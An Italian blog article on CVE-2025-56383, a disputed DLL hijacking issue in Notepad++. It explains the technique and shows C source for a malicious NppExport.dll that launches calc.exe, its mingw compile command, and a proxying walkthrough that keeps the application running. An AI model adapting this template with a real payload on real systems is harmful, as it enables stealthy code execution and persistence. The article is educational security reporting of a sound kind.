
Manuel Roccon : 5 Novembre 2025 22:22
Nel mese di Settembre è uscita una nuova vulnerabilità che riguarda Notepad++. La vulnerabilità è stata identificata con la CVE-2025-56383 i dettagli possono essere consultati nel sito del NIST. La vulnerabilità CVE-2025-56383 è un caso di DLL Hijacking che interessa l’editor di testo Notepad++ v8.8.3 e potenzialmente versioni successive.
https://nvd.nist.gov/vuln/detail/CVE-2025-56383
Sfruttando questa debolezza, un utente malintenzionato può ingannare l’applicazione per fargli caricare una DLL dannosa che ha lo stesso nome di una libreria legittima richiesta dal programma (un esempio comune riguarda i file DLL nella cartella dei plugin).
Vuoi diventare un esperto del Dark Web e della Cyber Threat Intelligence (CTI)? Stiamo per avviare il corso intermedio in modalità "Live Class" del corso "Dark Web & Cyber Threat Intelligence". A differenza dei corsi in e-learning, disponibili online sulla nostra piattaforma con lezioni pre-registrate, i corsi in Live Class offrono un’esperienza formativa interattiva e coinvolgente. Condotti dal professor Pietro Melillo, le lezioni si svolgono online in tempo reale, permettendo ai partecipanti di interagire direttamente con il docente e approfondire i contenuti in modo personalizzato. Questi corsi, ideali per aziende, consentono di sviluppare competenze mirate, affrontare casi pratici e personalizzare il percorso formativo in base alle esigenze specifiche del team, garantendo un apprendimento efficace e immediatamente applicabile. Guarda subito l'anteprima gratuita del corso su academy.redhotcyber.com Contattaci per ulteriori informazioni tramite WhatsApp al 375 593 1011 oppure scrivi a [email protected]
Se ti piacciono le novità e gli articoli riportati su di Red Hot Cyber, iscriviti immediatamente alla newsletter settimanale per non perdere nessun articolo. La newsletter generalmente viene inviata ai nostri lettori ad inizio settimana, indicativamente di lunedì. |
Se l’attacco riesce, il codice malevolo viene eseguito con gli stessi permessi dell’utente che sta utilizzando Notepad++, consentendo l’esecuzione di codice arbitrario sul sistema target.
Tuttavia, è fondamentale notare che questa CVE è stata etichettata come contestata (“Disputed”) da diverse fonti.

Ciò accade perché l’attacco è effettivamente possibile solo se l’utente ha installato Notepad++ in una directory che, per errore o cattiva configurazione, consente l’accesso in scrittura a utenti non privilegiati.
Nelle installazioni standard di Windows, un utente normale non dovrebbe avere i permessi per modificare i file nella cartella di installazione del programma, il che ridimensiona il problema da una vulnerabilità intrinseca del software a un rischio derivante da una configurazione del sistema operativo non sicura.
Ipocritamente quindi questa vulnerabilità potrebbe trovarsi in qualunque software windows che utilizzi librerie esterne con configurazione insicure, motivo della contestazione della CVE.
Recentemente, come segnalato da un lettore, è arrivata anche la nota ufficiale di Notepad++, ritenendo assurda questa CVE e quindi non intraprenderà nessuna fix per questa vulnerabilità, per i motivi spiegati sopra.
https://notepad-plus-plus.org/news/v886-released
E’ stato rilasciato un poc che dimostra con alcuni screen come è possibile in notepad++ eseguire DLL Hijacking della libreria NppExport.dll visibile nel link sottoastante.
La tecnica del DLL Hijacking (letteralmente “dirottamento di DLL”) è un metodo di attacco che sfrutta il modo in cui il sistema operativo Windows cerca e carica le librerie di collegamento dinamico (Dynamic Link Libraries o DLL) necessarie a un’applicazione per funzionare.
In sostanza, un aggressore induce un’applicazione legittima a caricare ed eseguire una DLL malevola al posto della DLL originale e attesa.
La DLL Hijacking è simile alla DLL Injection ma se ne distingue per il meccanismo: la DLL Injection è una tecnica generica che forza un processo in esecuzione a caricare una DLL arbitraria (spesso dannosa) direttamente in memoria, mentre il DLL Hijacking sfrutta un’errata gestione del percorso di ricerca di una DLL esistente o mancante per far caricare la versione malevola al suo posto.
Analizziamo cosa di intende per DLL Hijacking e testiamo direttamente su Notepad++.
Ci sono diverse varianti di questa tecnica:
Quando un’applicazione deve caricare una DLL e non ne specifica il percorso completo e assoluto, Windows inizia una ricerca in una serie di directory predefinite e in un ordine specifico.
L’ordine di ricerca per le DLL (che può variare leggermente a seconda delle API di caricamento e delle configurazioni di sistema) solitamente include:
Per cui un aggressore sfrutta questa sequenza per piazzare una DLL malevola (con lo stesso nome della DLL legittima mancante, attesa oppure sostituendola) in una delle directory che Windows controlla prima della posizione della DLL vera.
Quando l’applicazione viene avviata, Windows trova e carica la DLL malevola prima di raggiungere la posizione della DLL legittima (oppure caricando la ddl diversa se è stata sostituita).
Il codice malevolo all’interno di questa DLL viene quindi eseguito, spesso con gli stessi privilegi dell’applicazione che l’ha caricata.
Questa tecnica è popolare tra gli aggressori perché consente di:
Esecuzione Stealthy (Furtiva): Il codice malevolo viene eseguito all’interno del processo di un’applicazione legittima (spesso anche firmata), rendendolo difficile da rilevare dai tradizionali sistemi antivirus o di monitoraggio.
Persistenza: Una volta piazzata, la DLL malevola può garantire che il codice dell’aggressore venga ri-eseguito ogni volta che l’applicazione legittima viene avviata.
Escalation dei Privilegi: Se l’applicazione legittima viene eseguita con privilegi elevati (ad esempio, come SYSTEM), anche il codice malevolo erediterà quegli stessi privilegi.
Questo esempio è molto semplice e utilizzaremo Notepad++ per analizzare questo metodo di attacco.
Andremo a sostituire la libreria originale con una contenente solo un payload che farà avviare la calcolatrice.
In questo caso usiamo lo script sottostante per generare una nuova DLL dove nel MAIN è presente un payload che verrà avviato.
#include <processthreadsapi.h>
#include <memoryapi.h>
void Payload()
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
char cmd[] = "calc.exe";
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
CreateProcess(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
Payload();
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Quindi compiliamo la libreria usando mingw32-gcc.
x86_64-w64-mingw32-gcc -shared -o NppExport.dll version.c
Dopo aver sostituito NppExport.dll e avviato l’applicazione la calcolatrice viene aperta.
Sfortunatamente l’applicazione rileva che qualcosa legato alla libreria e restituisce un errore.

Il motivo è molto semplice, questa non contiene gli export originali, per cui c’è un controllo che avvisa di questo, ostacolo che vedremo come superare nel passo successivo.
Nonostante questo errore Notepad++ prosegue la sua normale esecuzione.
E’ da considerare che in altri casi questa sostituzione potrebbe dare un errore critico e fermare l’esecuzione dell’applicazione, in quanto contenente funzioni essenziali per applicazione stessa.
Nell’esempio precedente è stato visto come compilare una nuova libreria e sostituire a una originale al fine che app esegua del contenuto malevolo. Questa sostituzione però causare il crash dell’applicazione o errori vari.
Per cui vediamo una tecnica di DLL hijacking tramite proxy. Il DLL Hijacking by Proxying (dirottamento di DLL tramite proxy) è una tecnica avanzata di cyberattacco che permette all’aggressore di eseguire codice malevolo all’interno di un’applicazione legittima senza causare il crash o l’interruzione del programma.
Il concetto è molto semplice.
Qui uno schema semplificato del procedimento:

Analizziamo nella pratica cosa consiste questo attacco, prendiamo per comodità una repo esistente che contiene tutto quello che ci serve a questo scopo.
https://github.com/tothi/dll-hijack-by-proxying
Cloniamo il progetto.

All’interno è presente una libreria base (che abbiamo usato nell’esempio precedente) per esecuzione di un payload una volta che questa viene caricata nell’app.

Preleviamo la DDL da eseguire Hijacking, in questo caso NPPExport.dll che è stata rinominata.

Generaimo attraverso li scoript deng_def.py il file version.def file contenente i reindirizzamenti di esportazione tramite lo script Python.

Il file .def contiene una sezione chiamata EXPORTS che elenca tutte le funzioni che la DLL deve esporre, in modo da poterle reindirizzare alla DLL legittima originale.

Già da qui è possibile vedere che vari nomi di funzioni vengono reindirizzati a NppExport_orig.dll.
Per finire compiliamo la libreria attraverso mingw-w64:

Le opzioni di compilazione sono simili al primo esempio, ma in questo andiamo ad aggiungere le definizioni degli export aggiuntivi che questa libreria ha bisogno (version.def)

Ora posizioniamo la nuova libreria di fianco a quella originale modificata
NppExport.dll esegiurà il proxy di tutte le chiamate alle funzioni esportate nel file legittimo NppExport_orig.dll evitando che applicazioni segnali malfunzionamenti.

Se eseguiamo il software non verrà dato nessun errore e il codice malevolo eseguito correttamente.
L’analisi dell’attacco a Notepad++ tramite la vulnerabilità CVE-2025-56383, sebbene etichettata come “Disputed” e legata a configurazioni di sistema non sicure, offre un monito fondamentale: la tecnica del DLL Hijacking, in particolare nella sua forma avanzata di DLL Proxying, rimane una minaccia persistente e sofisticata nel panorama della sicurezza informatica che può coinvolgere qualunque software.
Come dimostrato, il DLL Proxying è in grado di eludere i meccanismi di rilevamento più rudimentali: l’aggressore non si limita a forzare l’esecuzione di codice dannoso, ma garantisce che l’applicazione vittima continui a funzionare regolarmente, dirottando le chiamate alla DLL originale e rendendo l’attacco stealth e persistente.
Manuel Roccon
i ricercatori di Check Point Software, hanno recentemente pubblicato un’indagine sull’aumento delle truffe farmaceutiche basate sull’intelligenza artificiale. È stato rilevato come i criminali ...

L’Agenzia dell’Unione europea per la sicurezza informatica (ENISA) ha assunto il ruolo di Root all’interno del programma Common Vulnerabilities and Exposures (CVE), diventando il principale punt...

Il progetto Tor ha annunciato l’introduzione di un nuovo schema di crittografia, chiamato Counter Galois Onion (CGO), destinato a sostituire il precedente metodo Tor1 Relay. L’aggiornamento mira a...

L’attuale accelerazione normativa in materia di cybersicurezza non è un fenomeno isolato, ma il culmine di un percorso di maturazione del Diritto penale che ha dovuto confrontarsi con la dematerial...

Sempre più amministrazioni avviano simulazioni di campagne di phishing per misurare la capacità dei propri dipendenti di riconoscere i messaggi sospetti. Quando queste attività coinvolgono struttur...